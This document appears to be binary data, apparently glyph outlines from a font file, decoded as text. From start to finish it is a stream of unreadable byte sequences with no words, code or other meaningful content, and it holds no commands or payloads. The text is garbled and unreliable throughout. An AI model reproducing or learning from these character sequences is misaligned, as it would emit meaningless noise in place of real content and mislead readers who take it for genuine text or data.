15Qfz2#+"'&'&54762'&/.'547>!2&'.76?>?62"'&'&5476762"'&'&767626=4'&+"3%2323"+"&/&'5&=4676"&=>76?632%+././&632'"7>76=4&/&'#&               ) 4 Q  X      )!    !P    t       ,  1"X*     RX"            h >' ( S #   S  S     (    -  X*   6J|27676#"32'&/#"&'&63276?676'&'&#".7>#"'&'&'&75476?6?6;6;+32"'&'&54?3#'&5476?6;23#2'&546?637"#"7>=4'& >- '(  " 1(    2       Q6   $    "0-           "  &:N(   6  N $L; $ $      u1'&'&/#27676?>7>?67676'.'5"'&/&=67'&'&/&'&/&'54>?667&'&5476?6?546767632#"32676=4&{%4# ('*_))    3E   2D2 $ ,       '(      %}   \0%#  OPvv   "  M+RR   RR #   0 ww  ! " !  2Ft%"+32+"&'.547676;5#"'&'&'&/&5&?'.4767632'&'&76'&=#"'&546?6;632#"&54676756'326'Z%@A Z:   <@/>+CB      vq " mg o =d=     + DC  v >  e)  # &o =<<Qo2##"'&547676!2"'&/./&'&547676?632#"&'&54763!2#"/&/.547676?>32+'&/&754?6?6!2#'&'&547>32"'&/&'&'&47>?63%"#"32767654'& !  3    #+         ;        & 2D)3   "     2% &2  '   -    0$  "      "    3"&'&#"2&'&#"32'&'&'&332?>754767>763>4&#"54?>?6763254&/.#"476767654&#"54'& "# - 4@  ,  H  4!  "  + . ,&".#)!%   DA  ( '    '    >"#   (+  1 * 2. %EG"v2i2757676?6372632276326321##"&/&'&/&'&'1&'&/&/&'.547>767"/&'&/&#&3276767676?676?654'&#".'&'54'4'&#"'&'&='&"'5'. !  * '  "    <0     2$     (  8#,9"     #       #&;:  HC *4       [?    ) b-3  ! ah   ! %'   7;  o 'ua676;54676762##"&/&'&/&'&'1&'&/&/&'.547>76327476?>?6326?6327"#"&'&/&=&'&#"'&/&'&#"'&'&/4&'&"/&'&/&#&3276767676?67676='&Q  P    <0     2$      + +            (  8#,9"   " 8 ' "4       [?      S  % %'K %' <:= ) b-3  !vp6763547475>3217321##"&/&'&/&'&'1&'&/&/&'.547>76327476?>?6327#"#"&'&/&='&'&"'&'&/4&'&"/&'&/&#&3276767676?676?654'&#"&'&'54'." 6(    <0     2$               (  8#,9"     0 ) "+  6R HC *4       [?      |  :8 o <:= ) b-3  ! ah  y t0Z676;5476767632+"'&'&'&/&/.547>3274767>32732'"/&'&'&#"326?67676?654'&#"#".'4=&'&#"'&'&=&'&#".5&7=&'&Q &    #5gK %61"  - '     ' 9- #HC%/2        " F+ $     K@`4  ,2 PN%' (eM 24    (  %' &  %' 0R v[]2>76;2732732+"'&'&'&'&/&/&/&547676274675676"'&'&=&'&#"/&'&'&#"326?67676?654'&"'&'&/&54'&".5&575&    "* /3 F8  2 E! %     ' $@ "&#B%/2 1    6R#;(   8 $V0" $*     %' *@n  24 bi   6]t[T676;273237632+"'&'&'&/&/.547>2747>?632"'&'&=&'&#"/&'&'&#"326?67676?654'&#"'&'&'&75&'&#".5&575&  !-     #5gK %61E!( l %     ' 9- #HC%/2    *  ^c" $     K@`4 ,+*     %' (eM 24 bi    /  %'6][b2+".'&/&'&#"32!&'&5467676?5'&'&'&547676?6?63"!'&0$   &, # ~/   8 z *  (t"    -& 2lP %  Mn,%  XddddOX"#";#"36'.'&+5!#"3676&'.+32767>'&'#;!5327676'0+1    $L      $#    #F $  2-d}2'&/"'&%'&/&'&=7>?'.4767647'&'&'&'&'&#"#"'&67>76372&"2?6/&    W 7E, <  10  ~.*% b  q   #~Q&  ~ zW1 V",   7 ) 21  " K: B K11+ p 7676375#"&'&'&'5767676#3#3%#35T q X*   RRSR RX  r  }RRSS*S1 \P  R%"   mBBBBI%  !P   P\ TS SSSS0_n|72675'&'&547676763267632#"'&'&'&54?'&#"'&'&54?>"6=4&"3276'&'&!"264& `a  "  a` 2! 8 0 WW I%  BQ  !  B "OO*$ %OO. I%  JI (8 %0  #  !#"2.LT2".'&'.5476?67676?676327!547654'&'&'&'&#""764(!x" N  to "'1   '"   STAf]J1?27273676?4'&'!"#"3?676?6765/&'&/&'."!&'&5767163637676&'&'"# "" \V3&?"  H/  & !6*         0H   # " " $   V ( B)4(       #2g%"'&'#"'&'&/&'&7676?6372767>2746+"&'&54"#"'&/&'&'&547676?>?63"3276?>?67654'.'&!"#"27676?654'&'&   #  *.2 6+    ':0    1!  - KD  <    - / ' D   '* H*.  v       "*$S9-    < . 2Hy2+"'&'&=##"'&=&6?676?676763"#&354'4'5&'&'&27676?6"'&'+"'&'&'&'&'&767676"327>54/&'&" 4    !/  H    !  "!  & (  % !# )>+wK   ej %E    TJMLQ5 (    @N   K@ T # /( (\s2"&'&'5#+"'&'&547>763!2+"'&'&=##"&/.54767676763#"3545&'&'&'&!"354'4'5&'&'& F7,   9/#/   !/ E  Z  7,>Q   Ȟ&   9O =*wK   ej  ) T 5Qq  [NKQ5 ( 6L%0#"&'&'5##+"'&'&=&76767676321'#"35'./&'&27461#+"&'&54"#"'&/&'&'&547676?>?63"#"32767654'&'&'&   "#'0% !  :0   1!  -   -  & b ɞ'    pG)+ $)^2  QQ*   N3     "*$S< L$FW2'&'&=#&'547>764632767632&'&/#"354'&'."32767>54&/!327>764'.'&#"!7>4&'&'&F& } ( Q&1 @@  @@  } $ ` W  | WW  *x BAAC ..)d   !!   `_ X   X  X    J5O236+"&/.54676!236+"&/.54676!";67654'&'&  .   &  .   &!    )            u->L"&54676372"&5467637272#"&'&7676"&546763727"#"264&%  } %  }%   4 %T(    &Vn  '&'&54676;6#"'&'&/&547676?67676?6?632'&'2"'&'&54676;6#"32767>4&'&'&"#"276764'&'&R ^  3@8,$      /74   4Y   /  !% d(/    "    "& (1    %)  3( 644 "    +  #%  !0#     " v(U2"&'&'54?67>76?6;6!2#"&'&/./&'.4676722+"'&/./&'&=476?6763?>76?676"35'.#3!2#"'&'&'&/./&=67>!"327>76=6&/.+%  b   5    b    11  '   Rl5 b  ,,  b  ,5)7 b  ,5    ,!  b }  $ .2  ^  (( T  } b  5,  b 7)5! %5n276767>32?6?67676/&'&/&'&'&'&?>?65#"/&'.'&'57676?6#"/&"276?676?67654""&'1&'&#./&'&%6?>?60 22   22   & "      /%15G1=.   (\F 10$ / -  D   - ( )G A.   ) 0!! !! Y3     - 8:/ #\!   F0G*e//!  "(* 33! & ) Rb231#"'&5'/&%'323+"#&'&'&'&'&5&5767676;6267&/!"#""#";?>?6/./&*/%  m  F3 'cc ؐ :#KM MK#   #"oL7 wwtI  >S & iCC%  % 2GNfw232#+32 '.'&=4567676767676;547676#367&"#"354'&'&3!54'&'&/";267654'&'&Q  .0Y #=G2    ^f lkp  $}v '      1./ [RS)t E0&TS  z{uw/+4mo3S   v";[t232#'.'&=46?>?63"'&'&5476737232&'5#&'&767>3#"&/&'&'567>2!6762#"'&/23#"&/.'&546?>?6301676372#"&/./&7673!#3676?>54'&/  6  S   6      H !      6    z      63  S    6   R     S    6 U T    T  6      !          0'Np23./ '.'&6?'.'&7632"&/.'5'./#.'.546767&'3&'#"'&/&'.'&'&4>?2#"'./&'&546'32736'xz  $)7&)7 ھ  JI JI     )    C3  0  $7*  & )7)ڽ    IJ IJ  & )Q .   3  u"2m7&'7676;63'67.'%#2'&'&/&'&'&7676?676?676763"32767>54&U O  -   $  E5  "      /U C! T   ; "   E5 S 5 $/uPf2#"'&47>?6332#"'&/4'&/&'&"#"&54?6?>2#"&5476?>"&5476?546?>;632!%"#"!67>54'&'&/&#  5   ) @C<:(4   '. FI z #/ UP Z` S    .)   Dl #==+- ''4 , /(  #$V   T )( 1u4'&#'321#+/&'&546?>32326?676?654+"&/&'5&=47676;576?676767632"&'&'"#"3#3276767;6764'&'.+&'5&?6?6?67>767>/&'&'#"/&/&'&'&#     !2   !.   '    +/  ':9 h  4!     ,2               *$ $\  @93/#/ -(- q  u*%" >;      U    =   M     12j2323+'&'&=#"'&'&7676;5476232+#"&'&'&=#"&'&'5467676;54676"&54?6?'&/&4>3276?632#"/&/2"'.76?632"'&'&54676;6"32>54&               #  #5#  Y   /    1"    "*"          "  "   R "    T ! 1>2#"'&'&'&'&547676767676763"#"3276?6?6767>76?>4&/&'&'&'&/&'&#".>?632#".>?632"#& 7367676'&/&#!&%)(&C-- '!1cQ@>#%"5$&CJ   !0*%   &2  %0  8 8        &*     0  -Nx nO - ' >57AK J;5.! S  $8 8/;- ! '3 "D" 2&*%    267#&'&7676;&'#"'&'&546?6;63232#"'&'&'&54?6767&/+#"'&'&'&/&'&=4?67676?6%#3?#"32767>54'&'&!#"326?654'.!$$ & . :D     4$   8: JN1")  a,*)-,*)  "      3 *2* % $% )*  s "-('!7: , ,    !*)*)*}1     1!#% t.L!'&/&/&'&'&/767>?6"37&/&=&74676#46325/&/&'&/&'#'#"#"'&/326'&/&/&";2676767&'&'&/& 0($     6   2!( b GG  kJ  GG,  ($0 8         !%T $ uE GH  GH. M&(OcvD  2/iq2'&/+&'&/&'&'&57676?'.47676!1#"&7>?&'!#"&/&5476?>76!67    *+%' 6  (%*)       ba    }Dbb"!1 )*%'  (%+*        bb     Dab""L1\2#"&547>?63#"'&/&546?>32#"&'&'&'&/&'&'5%"'&'&576767>32#"&'&'&4&"?67676?54&'.[  &-H   ?9 853M   ;   "XY 54/&'&'&3"276?>54/&'&'&3"276?>54/&'&'&"276?>54/&'&'&3"276?>54/&'&'&A- B "*,    '/  % L/  L.  &      $      $      $   v   $      $   -      !.)  * / .#$  <%. S "  "  "  "  "  "  "  "  "  " L[ !&'.5&?>;6"327676?67675'&'&/&'&'&'&/4'.& ))  C  J*5C5-!' %  $  &=    D\.D t:+  3  1jt Q1C2'&'&/&'.'&54767676767676?63&'&+"32?67676?6?'&'&476?'"32767654'& $!%)  ehhe  *6CI3?,   ,G !"  6+?>;6"#!3676?656&'&'&/2&'&=4762+"'&'&/&'&76?67676364/"654& ! !- 4 -!te!      ++ ++ H (H   1  ---6#- -. T؟`* #`*(   T :: :: ^*5^* 9Pl27576767673+#"/&/.'&=47676763!'&'&/&76;632 /&'&'&75676763+'".?676736"267654'&'&]  P\   @> %  ?  j oe U   ~?'     ", f     !  '  6 x         ~     & 1<h2#"'.'&'&/&'&'&5476?6?676763"#"3?676323'&'&'&/&'&"276?>54/&'&'&#3276?6?676?67676?##"/&'&/&/#!&%)(&C#(2-8@%!F$%  #  #DXt   !0*%  /L*,/%h 80   $   U   &2  ,/! =$  0  -Nx H>35  42>H*$& F:KS  $8# /7  oE "  " }     ;G 7   u(Pe!&/&'&'7>76?6;6"#76767627676325'.'21+'"&/&746"!5'&'&#"+"/&'&'&!!>?5 - )8 $ #$< - T !-      !9F%   hJ    % $/TPP;  S    PP ( !   9mm%    hI  <H]s+32!&'&/&676;5#"/"'&'&'&5'.'&6?6! 76?%2'.476762'.=&676">?>4&'5.$+! kh*,$  ,*hk ( _       c  %2 R R (To"   T ^  0 ) 6   #  0q67'&'&/&7676?67676;22#"'&/&/&'&'##"'&/&'&/&=6?67676?67276?64'&#"676#"2767654'&'&/&'&"276?>?'./&!132?6767654/&'&'&'&'\  & "  $ ?B   '(,'#"  $'&!' '   N[    +1!    "+   ;A       #D   )     %" *P    $  '2?u "&'1   VRUV ")N 'g_KB#"?6?654&/#"&/&'&/&/&/&'&54'.'&  $(-+6<- #  &  ,<J2>#&    /U  M>#"##23676?676?67676767676/&'&%     .+1b!1   *&   *     "-+6<- L8"#"26?546?6767676?6?>;76764&'&'5L$&$]5  ; %"  :|'k  "!)( M5"#"322676756'.'&'&'&/&'&'"#T9A  b1I(9"%  :x 2   &06J1b  B'>(\4 2c2'.5476?6;7676?6767>?654'&'&'&/&'&/&#"#'&54767363"&54?6?>?67632%2322#"&'&76?#"'".5476767676#"/&'&/&547675>32"32654'&/.'./&?;.4     *) 5KPW .$  0# 2 $   ("   %     + ;  +- ;  *+       " 1  ) !%!$1 )* &     &G1!;85>    #      (#68 V[78  TV  $   6c     & L13Ny232#"&/.'&'6767>;67676?6";26?>54&'&'&'&'.++"'.'#"#"!>76%2"'&54762"'&=46?>3"27654&'.&H $( 4 -,( 5#       1#D#1       <    <  u <  1? .*?'"1 6#'*'T  s  ++ !T$ P mh  hn"T C?  ?  S +   L16Q|232#!"'.'&'&'6767>;67676?6";26?>54&'&'&'&'.++"'.'#"#"!>76'"#"#"3;27>=326?>54&#'#54&'&2   $ * R * -' 5#       1#D#1         -   1  .*?'1 '*'T  s  ++ !T$ P     L11Lw232!"'.'&'&'6767>;67676?6";26?>54&'&'&'&'.++"'.'#"#"!>76'"#376?67>7567654'.+"&'&476?367654'.'&+/.2 H $( I * -' 5#       1#D#1     "*!& n   -     $'"  p  1? .*?'"1 '*'T  s  ++ !T$  7)& !        1o2321#"'&'&=&'&'&++"&/&'&'&'#"221#"'"'#&'&'&767>;7676?6";272>54'&'473#&'.2#"'&'&'&54767676?632+"&/&'5&'5476"3276767654"'.'&43"3254'&'&'&& (4   3#8  ! W U'  (&#$  6$ *   ^^ +(. ) !L -#& "   D" D  x  !&#y U&%1 2' =^" ZM  + v   (  , -T     E(3JC ;(2(,)    2 )    y%& v5T}+'&/475>76!2+"&/.546767!2&'&5&=#"&'&?>?6;62332#"'.'&=67>3!2"&'&='46?>3#3%"#"273>5'&'&   (#   #   ;9.  .     w  %       0:    /   T   #  }S    /0 u"&[!!&'&/47>?>;6!!"#";?>76=32>4&'.+54&'.+      F          Y_  _Y T        u2SX232+#"&/.=#"&'&5467>;54>!)'&'&'&/&5767>;6!!5      1&   %F         _`! Y_*T1s2/.'&76?63'+./&/#"&/&/&/+./&/#"&/&/&/ Dn M>6 ! !  ! 660Dl  N6  !  !  ! 562S[ag"&'+&'.'&76?'&/&476767>276?632#"&/&/7&'67'6672#&/&'&?67>76547676"#"?67>764&'& `   [##9" 2 ##2.    `     Rtu56tu5B! B B!!!!,4     % #* LA' %`   ]## 29# ##2.   `-    tt66tt6B!!B!B !!   ,     #! #  AI/-;v2+"&/&/&'&/&5&632;2367676?65476762#"&'&5.'&#"'&'.'&57>76;6#326?>7476227675w  W3-)V" N' c) F4  $>.9  +   3V  ;  д#Mm! $f   } /nI$#3  (if!T  :)    | 3DUos+"&5476?62"&=4632+72+"&?>+"&5476?62"&=4632+  '.'&7>;6!!"&546?6;2746;2"&/&572"&/&763"&546?6;27#"3276'&'& $v      w  &%%% 0 F   s  "        9 #T   0  / #R"""% T 0   /   S S # 16NW2132?6321#1#"'&/&'#"#"'&'&'1.#"#"'&'&476?6754'&'&'&54?676767671>54/&547676323276767>7634&#"#'&'&'&/&#"#"'&/.#"327676323267676?676;232654'&'&5476767>4'&'&'&'&'&467>2+'&'&76767&'#    L    !    F0  K   <   /  '  %! /       - G            kn mh  I 6"(0   @   $ 6!   (   <  @ ! F'    >#         2  A      ( ! +@A $ A> s3 !2,s2'&/&'&/&'&'&547676?'.47676!2#"'&'&76?67654'&'&'&#"'.5476?67632#"&/.546?6;647/3276?6?'#"'&/.2"'&546?6;6232+".54676;6"#"32676754&'&'&    ++ WTNg<" -'0 - +*  %$&'  ,A     +%G',0;%!%  "$ V  5    @: 4)%% `&" |Y" " /|   !      1 *+ > /:>JZ!#6@ ++   #`9!)6,"/  %> eJ@/      |     _ 48 '3  #+  `*    }       11|2#"'&'&'&'.5476767676763"#"3276?6?676?6?6?6764&/&'&'&'&/&'&2#"&/.546?6;62"'&546?6;623"'&546?6;62"'&546?6;6"#"32676754&'&'&@:/262`*65 7/**[9; %D$&CJ  3V  #  +X    8 8 8  GY" " /=m  " :Y" " /    1:pA9.3 *#-  .LPo71)+J:! S 3# FN;- 3& KY B" 2&*%)     }    }   }    }    1r%#"'&'&54?6?&'&/&5476767632&'&5476?632#"'&'&5476?6?#&""#"?>?6&!"64&"3276'&'&!"264&L  I%  7 ',4 2 I%   I '21 Vy   6     B "(8 .Z '  "1>'  ?&8 0$O   %@$\Wyk     $#  !#1Q_p632#"'&'&54767.'!#"'&'&5476?67&54767632">'.4&#"7>32676./&"%"#"32654&/&$R+ 8' ;&2! 1' 7!0"6R %G  &t d  f   q    R$#8*!F%'. ?%\ '8!4)  4  &\$R76  ,    v2`i232!7>76#!#"'.4?6'##"&'&547676?#"&'&'54676;62"&46!2"&'&'&547676"264&2#"&54?>4&"324&#"326765%"3276'&'&    '4 I%% T   #$5$$ pp   " "'       1  T6( (8#    "T   *%4$#7# pp  *   # &=    0# 2Fjmr2'&/#"'&'.4?6'##"'&'&547676?'&'&47676&5467>;75%&'&'&67637%3#!&4&#"326%327      ' &3    F/ J  X   T;)   1  #     .G0   &   ST* 9 1g2/!746+32#"'&'.7657##1"&'&'&54?>?6?#"'&54676!232+'&'&=#"'.'&7676;54>2654'&'&#"%"32676./&(   ;  " +)  7   I 5 -+ +- -+    1  "   R"4! #. 1:    -+ 5   !8 5  %R  3w2#!#"'&'.4?6'##"'&'&547676?#"&'&'54676;6;22'&#'!7>76'"&=>?'.=4676327>+"&/4&#"276765%"2764'&0  +! '%2        8L  y \ 6 <5  8 S  "  736;54?67>76?6;6"!5&'!!5 #-, 310 S"S  0 #  M?c& L F !GC $C? 1 UR  RU/. ># DF T ||22?6?6232?6?6?67676;6#"'&'&/&'#"'&'&/&541#&'&/#".76?67'&'&54?6?63"6767654'&'&'C    O          * "?*7 , #     ,&N '# # v +    !      $>  # =  / AP N% SA2- (L1,[l2#"'&/&/&'&/&/57676;6#327676767654'&/&/&/&/47654'&  ^a)U#' KY * >Q $   _d 1  ei7DeD G  L΂T");* ?6;62/&/'.'&='.7>?6#32#"&/&'&'&'54567>?6;6#35AW &#}. n$  *f +  *}.  m$  T}}u$KOty2+"&/.'&'54567>?6;627676"/.'&676547>#32#"&/&'&'&'54567>?6;6#35AW &#}. n$  * f  5*}.  m$  T}}u>k2#"'&'&/&/&'.547676?67676763#"32767676764'&'&'&'&'&#2#"'&'.54?67&'&54764&#"2?65"6=4&LA25 %  03**1<3%1 +! 51 E4,'= )"e"  +(:) / 4* % VA  '  !, %P;)-4RT@5+   :[A8*' R !"4  C' ?)  Y"w   w  t*Ccq!'.'&/&/767676;6"#367>7675.'2&/&'./&4767676327"7675.     # "" #$ "  3! 0%6   !    #     "T  " Q.'7  3  T   u/?]!&/&'&/76?6?676;667.'%#"??676'& #   ;   $ _#    !  (   g _  uwV"u/?!&/&'&/76?6?676;667.'%#0##"676767>32767>54'&'&#'7676764'&'& #   ;   $%   R: V  *.3 !  (   g  !    lK    A (J! u"27&'7676;63'67.'%#0##"676767>"32'.'&7>7654'&'&/67654'&'U O  -   $    % ! # "-  b U C! T     !    &    #  0 Y!t*Cpu!'.'&/&/767676;6"#367>7675.'22+'&'&/5#'&'&54767>353     # "" #$ "      DD VW #.  #     "T  " R jh !   5  "Dt(8!'&'&'&/767676;667.'%#"#";+"3276767654'&'&/&'&+5327654&'&/&      ""  $%. /(   0  -3   ' A=   + #    "g        S ! u+;{!&/&'&/7>76;667.'%#2&'&'&'.?632"'&'&'&47676?627"7>54& #   ;!  $+       b $ ( ! !!  (   'g    !    Y! (3  t(8[!'&'&'&/767676;667.'%#"#";?>76764&'&/&      ""  $%.  7<.   )*  + #    "g ! i   u"2j|7&'7676;63'67.'%#2"'&'.'&47676?'&'&'&5476?6327"276?6=4'&'&"7>54&U O  -   $+ %  b $   % % !U C! T %3  Y! % )  3%T&   u+;t!&/&'&/7>76;667.'%#%#"/&'.47676?62732'.54767676?'"276?6=4'&'& #   ;!  $/    + +!*)%-  *  $ !  (   'g 0=)%2 =*      1-^h2"'&/&## '&'&/&6?'.'&7>2"&/.'5'./#.'.54676737 xz  @&    ھ  r :1 =  & *   ҽ    k v0##"'&/#"'&7676;2?676?63"1;#332767673767654&'.+&/6767>7654./&#"'&'&/.#u w89%     )` ! $   "     $ )     #$    #  El   ! ,3   "%    &1#$    (   3"'"'&'&'&";326767!>'&'&/28r]  O6   8     l '] 2+g{2'&/"&'&'&'&54676?'.476762&'.?676?64/&/&"&?6?676?633276?'    GH<: 4$  :;54?676?67676?6"!5'.'462#"'&'&%2#"&/&>7>76"#"367>54'&'&/&9PN $0        FF #& )   )$.     6&om -     - mp  Tnnnn '  G)   S v[St232+32#+"'.=#"'.'&?676?67676?6;546?>32&'.'&'&'.'&?>?63"#&32"&'&=47>"32767654&      - mo)7   gm '   z!&   nnw' ) Z     7)     S     S  F    "t"    uA[fo232"'.'.=#"'&/&/&/&54?67>76?6;6;56767>76;54&/#"#"67'37>?)!!  )".    _{#kf jLT ; -%  %"   + &!b& ~u?^ipw232#"'&/&'&'5#&'&/.'&=46?67>;6"#";547676;54&'&"673#67367527>765(4      3%    "  <_SOX Thn+ ?@o{{77{|O8 0&' " %3   ,' + ]>/S 2WoiT :@@{|77w||6P-u$92"&'&'.4767>"67'&"6$7654&+%U   xwxxxxwx VV    VTST VTY<<;<<;<<  QP<FOX%!'.'&/&/7>?67676!#"'&/&=!32"353#!5'.'#3%"#2;7>?654'&'&/&  #        40L } EDy   $(  BC @     #     64FEDDE   # (    BEtCMV%&'&467637>?5!./5##"&'&5?>?67676!"353#!5'.'"#2;7>?654'&'&/&       7! 40L    $(  BC     bc46  #   + 7EDDE a # (    BE1$lox|7&'767'./&7>2"'&/+"'&'&=#"#&'.=4676735'./#/&/5#"'&'&=467673#3!'U"   uy  + 8   '       j< EDTU "    * %ݼ# jg DE  jT "H2#'.'&"#&'.5467637'.5463216763237'| t8%%8t |>NMb    bMN>_  T77T  !m%     %smP6Fy+'&'&=#/&/5'"/.'&76767676"32=&#"!;?>76'&/&/.   R  *!"6 . R    [&     >ED  &7:/! V  07fW8       \  'M6Fo+'&'&=#/&/5'"/.'&76767676"32=&#"6/&/3276?6'4'&/!7656/.   R  *!"6 . O V[ !      >ED  &7:/! V  07fW8 W \!        1"Hf42+"'&'&/&#"'&7>2'&'&7676?6?6?63"'&/&/&'.4767632%2'.54?6?676?632#"'&'&54767626=4'&+"3"&547676?6467632%21'&/&/&/&'&547>"&54>7676?6?67632%#"32>&#"'&/&     '  !     - &     '"   c)  (  #    c   4       '       /2  ( !#1 #           /2 ! 56  ; )  (    ,  " S    /2         'S"  ( M16|2#"&'&/&4?67675#"'&'&5476?6?>?>7627626?67>32'&'&='.'&547475>3!    UV/    :   7    1;,H"}1p .     ) 'kZQG  * AQ ! ae%   C$ )   K: F)  jPw?M v27676'./'&/+"&/#"&76?&'&/&5476?'.46767'.767'&'&>76;27676736&'6'67|,JK-!   V   V    ,JK-!   V  $ V   )  FKK++KK+K++KK++%-KJ,    V     V    %-KJ,    V '  V    * JK+,JK+K+,JK+,$2c&54767>?6;27676+'&'&=#"&/&'&'&=&'&76767"#";5'&'&'&54632546?67367327676213267>54'&?6767654'&'&/&=67654'&#""'&/&  7" 3      &    &     &      '%    >   Z'   + ) =>   UV VU ( *".*'       B'L    "  '&k        >  2-S_%+"&54/&'&+"&'.4>7676322'&/!&'&'&'&54?6?'.47676;'  '6$    #&';]]^\  [>  # E&  Y #& 7  ^] Ýk  2<}%#"/&'&'#"#"'&'#'&'&/&57676?'.'&7632'&'4733231#"'&'&=#'&'&'&76?'#&/5#&'.#32?6?67635&'326?"67654&  Z[%@F%<       +& ^^ y! /,(   J |     ---   N 2=      *  MJDX" li |// _   l     0X|21+"&/'&/"+"'&'&76?54567676?'./&>7'.=4>#"/&/#"/&/367   82 |O hG0  /FO|   26  !   lrr0   62  |OF/ 0Gg  O|   28   !!  krs,a2#"'&/&'&'&54767676!2#"&=76?67654'&/&'&5476"#";#"327676?;>76/&/#./76767>767>4&'&'&/.'&  "   & W             &#"   "  ,# +    %: P=UU4^   +? 8%46`VIK!B#;638M 23 93/P:^6    ' '  &!   D >    L2$2EIN&'676?676?6767676372"33"354&'&/&'&'&'&#37#357 ( "& ?7S< 7 W' V " _мh ?$ ;)&(   !H); $`< #A*"=5II( 4"   cu1%#"&/&/#"'&7676?'&/&'.4767676763227676?6762;'.'76767676;2+'&'&'&"354'&/&'&"67"6?>4&'&# #   /)   "*    5       "  '  10$3 L6 &$ T     "  ' &# " +9            $!3 g  e} !/!u1ix2!%'.54?67676?276764'&'&+'&'&/&7676;2;'.'&767676?63"35&'5.#67 20 .7 $U^GH  @0!      R )1   20 C5 - !   (      S 22 f1@s2'&/#"&/&'5&5476?67676?6?63#"32?6767676764'&'&/&/&'&'&/&"'&'1.#"7>76754&'.R+    rq  rr)'' M'/& 3  < '&,,:F0 1"   7 _  BF .(  1B3'!#40&( rr qr C/9f%* ;1)%  T '+6C2+# #9,   |BF .(  1Ap2'&/#"'&'#&'&'5&5476?67676?6?63"#"32676767654&/&/&'&'&"#"+327>=7>76?654'&'.+"&'&54?326/&'&/#54&RBf5   rq  rr  7#7'%(!e& 3  <  '&  !>"$*+J(  -(/ # ' :1       7= 41!3j)40&( rr qr   T%* ;1)%  S  '+6$S% <$+0 )  &$         %   [CIw223 '.'&=67676?6?6?>=>?6?676;6#376763232?6754'&'&'&'&/#"#"!>76/#"'&'.%      S+1    BTR)   r $ W    0 Z%7+#( 2G {M 0*  3"# *# S   " . 8+ A&#   m u0M%#'&'&/&'&5476?6!"#?554'+'&'.>5#&'.5476;7"'"3326?67676?4'&'&+5367654'&/) *)WVT %)IjjjjI)  0+ T DH  " A   T>  6.   , $##$ *  %    `E EE S   'Xm05&547676?676767632767>2#"'&/#"'&/&'&/&5476767"?676764'&'."27>76'&/&'&32?6? X_    .1/$ "C    8 $445 +0 \]"? O+   K  Y_ ? /% & $   K/4  .14  +0[^ #? !+ 1<2(M2"&/&'&547676?67632##"&'&'&54767632#"'#&"+"#&'&'&/&'&'&'&5476?>25'!326?>7#32767654&/&"#"#"/.;276767676=&V              @,   /      " #  =. # .#*4 F" '. $D 4$76 9$<$ .1     #        *%   ;%3    #\#so~g FJ )S    .) H$ 'u 2327632"'&/.'&'&/&'5&'&'&'&=467676767>?6?6?6767>?676?36&'&'&#"26?676716767>76?6?676=#"'&/&547672+"'.=476?>2#"&'&76762&54676762+"&5476";2676&    !    I $#5 4,     ';   h  ( ++  #+E!   *    d;   1  Y     &5   ( 8'     $,$%!   )!     u   & @4  "    &!   J  '= E  *  * } !% 8t{2"'.'&'&'&'&54?67>#"'&'&/&'3276?676767654'./&/37&#676757'67   & @ 0*21)d -*,#   !@7 ,  %'*5 #\P  p+=> 2=+,N  ,4"  KK &2)+).7   2  -)g,/E?I@+  ,  ]0.8B%; ^,4,+ {O O+=> u4L2#"'&'&=&=67>?62+&'.546762+&'.54676"&74763232#&54767676=4&"!" 76764'&'&    $^ e@   e@  4)       ?B "   U " ML  [S "   "  8'       56      " 1k2765'.5476?>7676372'&'1'&'&'&'&/&'&/&'5&547>76?6?676?67?>;232654/&#"/&'&/&#""#"6?6764&/&'&'&2654'&/&'&/&'&'&'&#"'"2654'&/.     !(      .  &+*#*7   =     1   M1  $   &    -,/   '#'+ #$ g      /$$!&1/5=5    $0-* *2  L    +  $  $ %)3  +(P;    &   .$'#   $ #2BFj|+'&'&'&'&'&5&5746?676?547676?6;6#3!!67>767545&'&'&/"'&5467672#"'&'&547676"#"3264&$    U7   H -  \  L  )2!  ) 1  (, +$,5   4B ' &$,(T)T   A  6     * .#S %u0Jo|2"+#"'&'&'&'5#/&'&'547676?6?67676763"#"!54/&'&'&/&/&#32676=/)"%   3   !|S(\[ -    >V   J>F 5 ,*B* 0    Ud M % # % SV %      @( |#|vl2#"'&/.'&/&54676;23276767676767676?>?63"/&/?6767676767654/.J  # '   16NF8/22     A*  L8 6 -= !"# 1A0+ ' *  '' .&   !="?1   '   ;S0 #" 9    #!(. '3GYjv2+"'&'&'&54?6767>?676;6"&!5'&'5&'&'!!3676?6'2'&'&?>2#"'&5463"2654&j*  "   -" :1A  0 3 p 3  $ I $ &3 % ! ,&2'  T  F  (F{    }%%Zrw%6767632#"'&/&""'&'&/&/&/&'&'&/&547>7'&'&5476762#7"32767654'&'&'&/&/&/&'&/&'&/&'&'&'" !   H*+* `1 - T,    ( " :        %(H;/ .E. ;,  l,- P!     ED' e )# !  .  /# "    6{ &)(        .  %B (  L00Ao2#"&'&'5#+"'&'&=46?6?67>?63454'.#"3%07676276?6#"'.'&=4>?6%"#"2;26?>=4'&'&+767>54'&'&3<!S   : S     -%/  (54CAX*    -1C 02.^r& S4  v5,        ,l'uq  u1'  K0 5n2#"'&'5&5&=&7>76"#"767654'&276?6+"&'&'&'&=4>?67676?632#""&/.46?>;276=&#"'&'&'&'&54?676"3276'&'&+$3F $   A    @C  @C  -  0++    % "  '*  0& MF$B .+ *$ SFC   ?C!)    BC?C  ,  ,MG*0   "S# K1-b&'&54?'"'&'&76762221%27676+"&'&'&'&=467676?632&/5#'&/&=676#"354'.p 02  %C4#  7   @C$-  Sl S     6At   5  ?C , , ^+-uc^T  K1/=s"'.'&54767676;2+'&'&5476?67>5'"6?6&276?6+"&'.'&5476?65476?632#"'&'&'547676"327676=&'&4"(  " 1*&,  L * K    @C    -WG#   5    > .$ ' 3MF*3    )    BC  , )FMP; DN0S CF ED 2(C^2'&/'&'&=&'&7>762/&/&'&547676!2'&/&54?6?63"&47676767632#"'&'&/4/&'&#"'#'&'.?>3!#&'.5476?>3  7367676'&/&   %      [ %-:5+       7     7     1 #KM MK   ,'  /        S  $       235476?6;63223367632#"&'&/#32'#&'./&'&'4=4747567>?6376'4/./#'&/&/&/"&/.'&=67676;676?#"&'&54?676#3#3%#35 ! &   ! K       R     )   16   :  1U    K "  TTSS*S  %      &    W    #   &  #F   #74 S .9   /  *SSSSS2@O`v%"'&'.'& '&'476?676?>;6;23676363##32&'&'&'!"6736;+"&'&546767!2+"&'&546767&'&5476732!&'&5476732"#"326?>54'&'&(( 4 G<15  (4 . +]% |         %  8 %        9T   . % %GS        !    !   S     